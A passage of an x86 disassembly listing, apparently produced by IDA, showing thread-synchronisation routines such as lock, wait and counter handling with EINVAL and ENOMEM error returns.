		pop	ebx
		retn
sub_42CAA0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CB30:				; CODE XREF: sub_401CA8j
		mov	eax, ds:dword_4B26E0
		push	ebx
		push	edi
		push	eax
		call	sub_40116D
		mov	ebx, [esp+10h]
		add	esp, 4
		cmp	ebx, 2
		mov	edi, eax
		jz	short loc_42CB58
		cmp	ebx, 1
		jz	short loc_42CB58
		push	1
		call	ds:dword_4B3AB8


loc_42CB58:				; CODE XREF: _294ADE7B:0042CB49j
					; _294ADE7B:0042CB4Ej
		test	edi, edi
		jz	short loc_42CB62
		test	byte ptr [edi+7Ch], 1
		jz	short loc_42CB85


loc_42CB62:				; CODE XREF: _294ADE7B:0042CB5Aj
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_42CB72
		dec	eax
		jnz	short loc_42CB75
		or	esi, 0FFFFFFFFh
		jmp	short loc_42CB75
; ---------------------------------------------------------------------------


loc_42CB72:				; CODE XREF: _294ADE7B:0042CB68j
		mov	esi, [edi+14h]


loc_42CB75:				; CODE XREF: _294ADE7B:0042CB6Bj
					; _294ADE7B:0042CB70j
		call	sub_401708
		push	esi
		call	ds:dword_4B3A3C
		add	esp, 4
		pop	esi


loc_42CB85:				; CODE XREF: _294ADE7B:0042CB60j
		push	1
		call	sub_401A23
		add	esp, 4
		add	edi, 3Ch
		push	ebx
		push	edi
		call	ds:dword_4B3A30
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CBC0	proc near		; CODE XREF: sub_401A23j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401109
		add	esp, 4
		test	eax, eax
		jz	short loc_42CBDF


loc_42CBD2:				; CODE XREF: sub_42CBC0+1Dj
		push	esi
		call	sub_401109
		add	esp, 4
		test	eax, eax
		jnz	short loc_42CBD2


loc_42CBDF:				; CODE XREF: sub_42CBC0+10j
		pop	esi
		retn
sub_42CBC0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CC00:				; CODE XREF: _294ADE7B:00401CB2j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CC20	proc near		; CODE XREF: sub_401299j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_42CC20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CC60	proc near		; CODE XREF: sub_401B13j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		call	ds:dword_4B3878
		push	eax
		call	ds:dword_4B3810
		test	eax, eax
		jz	short loc_42CCA2
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_42CC8C:				; CODE XREF: sub_42CC60+33j
		test	eax, edx
		jz	short loc_42CC91
		inc	ecx


loc_42CC91:				; CODE XREF: sub_42CC60+2Ej
		shl	eax, 1
		jnz	short loc_42CC8C
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CCA2:				; CODE XREF: sub_42CC60+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_42CC60	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CCD0	proc near		; CODE XREF: sub_401794j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_4B27C0
		xor	esi, esi
		call	ds:dword_4B3868
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CD04
		push	esi
		push	ecx
		call	sub_401E29
		add	esp, 8
		mov	esi, eax
		push	offset dword_4B27C0
		call	ds:dword_4B386C
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42CD04:				; CODE XREF: sub_42CCD0+17j
		test	eax, eax
		jnz	short loc_42CD0D
		mov	esi, 16h


loc_42CD0D:				; CODE XREF: sub_42CCD0+36j
		push	offset dword_4B27C0
		call	ds:dword_4B386C
		mov	eax, esi
		pop	esi
		retn
sub_42CCD0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CD40	proc near		; CODE XREF: sub_401799j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010AF
		push	esi
		call	sub_4010AF
		add	esp, 8
		pop	esi
		retn
sub_42CD40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CD80	proc near		; CODE XREF: sub_401E29j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_42CD92
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42CD92:				; CODE XREF: sub_42CD80+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_42CDB2
		cmp	dword ptr [eax], 0
		jz	short loc_42CDB2
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42CDB2:				; CODE XREF: sub_42CD80+1Aj
					; sub_42CD80+1Fj
		push	1Ch
		push	1
		call	ds:dword_4B3A64
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_42CDD6
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42CDD6:				; CODE XREF: sub_42CD80+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_40200E
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_42CE34
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_40200E
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_42CE2B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_4014D8
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42CE4C
		push	ebx
		call	sub_402090
		add	esp, 4


loc_42CE2B:				; CODE XREF: sub_42CD80+8Dj
		push	esi
		call	sub_402090
		add	esp, 4


loc_42CE34:				; CODE XREF: sub_42CD80+7Aj
		push	esi
		call	ds:dword_4B3AAC
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42CE4C:				; CODE XREF: sub_42CD80+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_42CD80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CEB0:				; CODE XREF: _294ADE7B:004017DFj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_42CFEB
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42CFEB
		cmp	esi, 0FFFFFFFFh
		jz	loc_42CFA7
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_42CFEB
		push	esi
		call	sub_40208B
		add	esp, 4
		test	eax, eax
		jnz	loc_42CFF0
		lea	edi, [esi+4]
		push	edi
		call	sub_40208B
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_42CF19
		push	esi
		call	sub_4010AF
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42CF19:				; CODE XREF: _294ADE7B:0042CF07j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_42CF8D
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_42CF8D
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010AF
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_42CF50
		call	sub_4010AF
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42CF50:				; CODE XREF: _294ADE7B:0042CF3Fj
		call	sub_4010AF
		add	esp, 4
		test	eax, eax
		jnz	loc_42CFF0
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_4019B0
		push	edi
		mov	ebx, eax
		call	sub_402090
		push	esi
		mov	edi, eax
		call	sub_402090
		push	esi
		mov	ebp, eax
		call	ds:dword_4B3AAC
		add	esp, 10h
		jmp	short loc_42CFD3
; ---------------------------------------------------------------------------


loc_42CF8D:				; CODE XREF: _294ADE7B:0042CF1Ej
					; _294ADE7B:0042CF28j
		push	edi
		call	sub_4010AF
		push	esi
		mov	ebx, eax
		call	sub_4010AF
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_42CFD3
; ---------------------------------------------------------------------------


loc_42CFA7:				; CODE XREF: _294ADE7B:0042CED3j
		push	offset dword_4B27C0
		call	ds:dword_4B3868
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_42CFC3
		mov	dword ptr [eax], 0
		jmp	short loc_42CFC8
; ---------------------------------------------------------------------------


loc_42CFC3:				; CODE XREF: _294ADE7B:0042CFB9j
		mov	ebx, 10h


loc_42CFC8:				; CODE XREF: _294ADE7B:0042CFC1j
		push	offset dword_4B27C0
		call	ds:dword_4B386C


loc_42CFD3:				; CODE XREF: _294ADE7B:0042CF8Bj
					; _294ADE7B:0042CFA5j
		test	ebx, ebx
		jz	short loc_42CFDE
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42CFDE:				; CODE XREF: _294ADE7B:0042CFD5j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_42CFF0
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42CFEB:				; CODE XREF: _294ADE7B:0042CEC0j
					; _294ADE7B:0042CECAj ...
		mov	eax, 16h


loc_42CFF0:				; CODE XREF: _294ADE7B:0042CEF1j
					; _294ADE7B:0042CF5Aj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D060:				; CODE XREF: _294ADE7B:00401D52j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	ds:dword_4B3A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D083
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D083:				; CODE XREF: _294ADE7B:0042D072j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D0B0:				; CODE XREF: _294ADE7B:004016EAj
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42D0D1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42D0D1
		push	eax
		mov	[ecx], esi
		call	ds:dword_4B3AAC
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42D0D1:				; CODE XREF: _294ADE7B:0042D0B9j
					; _294ADE7B:0042D0BFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D0F0:				; CODE XREF: _294ADE7B:00401118j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42D10D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42D10D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42D10D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42D10D:				; CODE XREF: _294ADE7B:0042D0F6j
					; _294ADE7B:0042D0FCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D130:				; CODE XREF: _294ADE7B:0040152Dj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42D15A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42D15A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42D14E
		test	eax, eax
		jnz	short loc_42D15A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42D14E:				; CODE XREF: _294ADE7B:0042D145j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42D15A:				; CODE XREF: _294ADE7B:0042D136j
					; _294ADE7B:0042D13Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D170:				; CODE XREF: _294ADE7B:00401F05j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_42D22A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42D22A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42D1A4
		push	esi
		call	sub_401794
		add	esp, 4
		test	eax, eax
		jz	short loc_42D1A4
		cmp	eax, 10h
		jnz	loc_42D22F


loc_42D1A4:				; CODE XREF: _294ADE7B:0042D18Cj
					; _294ADE7B:0042D199j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_42D22A
		push	esi
		call	sub_40208B
		add	esp, 4
		test	eax, eax
		jnz	short loc_42D22F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_42D21D
		lea	edi, [esi+4]
		push	edi
		call	sub_40208B
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_42D1ED
		push	esi
		call	sub_4010AF
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D1ED:				; CODE XREF: _294ADE7B:0042D1DCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010AF
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_42D21D
		push	esi
		call	sub_4010AF
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D21D:				; CODE XREF: _294ADE7B:0042D1CAj
					; _294ADE7B:0042D20Cj
		push	esi
		call	sub_4010AF
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D22A:				; CODE XREF: _294ADE7B:0042D179j
					; _294ADE7B:0042D183j ...
		mov	eax, 16h


loc_42D22F:				; CODE XREF: _294ADE7B:0042D19Ej
					; _294ADE7B:0042D1BAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D280:				; CODE XREF: _294ADE7B:0040160Ej
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_42D34F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42D34F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42D2B4
		push	esi
		call	sub_401794
		add	esp, 4
		test	eax, eax
		jz	short loc_42D2B4
		cmp	eax, 10h
		jnz	loc_42D354


loc_42D2B4:				; CODE XREF: _294ADE7B:0042D29Cj
					; _294ADE7B:0042D2A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_42D34F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401AC8
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D354
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_42D342
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401AC8
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_42D312
		cmp	ebx, 274Ch
		jnz	short loc_42D303
		inc	dword ptr [esi+14h]


loc_42D303:				; CODE XREF: _294ADE7B:0042D2FEj
		push	esi
		call	sub_4010AF
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D312:				; CODE XREF: _294ADE7B:0042D2F6j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010AF
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_42D342
		push	esi
		call	sub_4010AF
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D342:				; CODE XREF: _294ADE7B:0042D2E3j
					; _294ADE7B:0042D331j
		push	esi
		call	sub_4010AF
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D34F:				; CODE XREF: _294ADE7B:0042D289j
					; _294ADE7B:0042D293j ...
		mov	eax, 16h


loc_42D354:				; CODE XREF: _294ADE7B:0042D2AEj
					; _294ADE7B:0042D2D3j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D3A0:				; CODE XREF: _294ADE7B:00401555j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_42D496
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42D496
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42D3D7
		push	esi
		call	sub_401794
		add	esp, 4
		test	eax, eax
		jz	short loc_42D3D7
		cmp	eax, 10h
		jnz	loc_42D49B


loc_42D3D7:				; CODE XREF: _294ADE7B:0042D3BFj
					; _294ADE7B:0042D3CCj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_42D496
		push	esi
		call	sub_40208B
		add	esp, 4
		test	eax, eax
		jnz	loc_42D49B
		lea	ebp, [esi+4]
		push	ebp
		call	sub_40208B
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_42D41B
		push	esi
		call	sub_4010AF
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_42D41B:				; CODE XREF: _294ADE7B:0042D407j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_42D48A
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_42D438
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_42D438:				; CODE XREF: _294ADE7B:0042D427j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_42D48A
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401799
		push	eax
		call	sub_4015D7
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_42D45B:				; CODE XREF: _294ADE7B:0042D470j
		push	ebp
		push	ebx
		call	sub_4011DB
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_42D472
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_42D45B


loc_42D472:				; CODE XREF: _294ADE7B:0042D469j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401109
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_42D48D
		mov	[esi+0Ch], edi


loc_42D48A:				; CODE XREF: _294ADE7B:0042D420j
					; _294ADE7B:0042D43Dj
		inc	dword ptr [esi+10h]


loc_42D48D:				; CODE XREF: _294ADE7B:0042D485j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_42D496:				; CODE XREF: _294ADE7B:0042D3ACj
					; _294ADE7B:0042D3B6j ...
		mov	eax, 16h


loc_42D49B:				; CODE XREF: _294ADE7B:0042D3D1j
					; _294ADE7B:0042D3F1j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D500:				; CODE XREF: _294ADE7B:0040187Aj
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_42D601
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42D601
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42D537
		push	esi
		call	sub_401794
		add	esp, 4
		test	eax, eax
		jz	short loc_42D537
		cmp	eax, 10h
		jnz	loc_42D606


loc_42D537:				; CODE XREF: _294ADE7B:0042D51Fj
					; _294ADE7B:0042D52Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_42D601
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401AC8
		add	esp, 8
		test	eax, eax
		jnz	loc_42D606
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401AC8
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42D581
		push	esi
		call	sub_4010AF
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_42D581:				; CODE XREF: _294ADE7B:0042D56Dj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_42D5F5
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_42D59E
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_42D59E:				; CODE XREF: _294ADE7B:0042D58Dj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_42D5F5
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401799
		push	eax
		call	sub_4015D7
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_42D5C1:				; CODE XREF: _294ADE7B:0042D5DBj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011B8
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_42D5DD
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_42D5C1


loc_42D5DD:				; CODE XREF: _294ADE7B:0042D5D4j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401109
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_42D5F8
		mov	[esi+0Ch], edi


loc_42D5F5:				; CODE XREF: _294ADE7B:0042D586j
					; _294ADE7B:0042D5A3j
		inc	dword ptr [esi+10h]


loc_42D5F8:				; CODE XREF: _294ADE7B:0042D5F0j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_42D601:				; CODE XREF: _294ADE7B:0042D50Cj
					; _294ADE7B:0042D516j ...
		mov	eax, 16h


loc_42D606:				; CODE XREF: _294ADE7B:0042D531j
					; _294ADE7B:0042D556j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D660:				; CODE XREF: _294ADE7B:0040154Bj
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_42D6E6
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_42D6E6
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42D67C
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D67C:				; CODE XREF: _294ADE7B:0042D674j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_42D6E6
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_42D6C4
		lea	ebx, [esi+4]
		push	ebx
		call	sub_40208B
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_42D6A2
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D6A2:				; CODE XREF: _294ADE7B:0042D69Cj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_42D6B9
		add	esi, 8
		push	esi
		call	sub_401D16
		add	esp, 4
		mov	edi, eax


loc_42D6B9:				; CODE XREF: _294ADE7B:0042D6A9j
		push	ebx
		call	sub_4010AF
		add	esp, 4
		jmp	short loc_42D6DC
; ---------------------------------------------------------------------------


loc_42D6C4:				; CODE XREF: _294ADE7B:0042D68Aj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010AF
		push	esi
		mov	edi, eax
		call	sub_4010AF
		add	esp, 8


loc_42D6DC:				; CODE XREF: _294ADE7B:0042D6C2j
		test	edi, edi
		jz	short loc_42D6EB
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D6E6:				; CODE XREF: _294ADE7B:0042D669j
					; _294ADE7B:0042D66Fj ...
		mov	eax, 16h


loc_42D6EB:				; CODE XREF: _294ADE7B:0042D6DEj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D720:				; CODE XREF: _294ADE7B:004014C9j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_42D7DA
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42D7DA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42D754
		push	esi
		call	sub_401794
		add	esp, 4
		test	eax, eax
		jz	short loc_42D754
		cmp	eax, 10h
		jnz	loc_42D7DF


loc_42D754:				; CODE XREF: _294ADE7B:0042D73Cj
					; _294ADE7B:0042D749j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_42D7DA
		push	esi
		call	sub_4016DB
		add	esp, 4
		test	eax, eax
		jnz	short loc_42D7DF
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_42D7CD
		lea	edi, [esi+4]
		push	edi
		call	sub_40208B
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_42D79D
		push	esi
		call	sub_4010AF
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D79D:				; CODE XREF: _294ADE7B:0042D78Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010AF
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_42D7CD
		push	esi
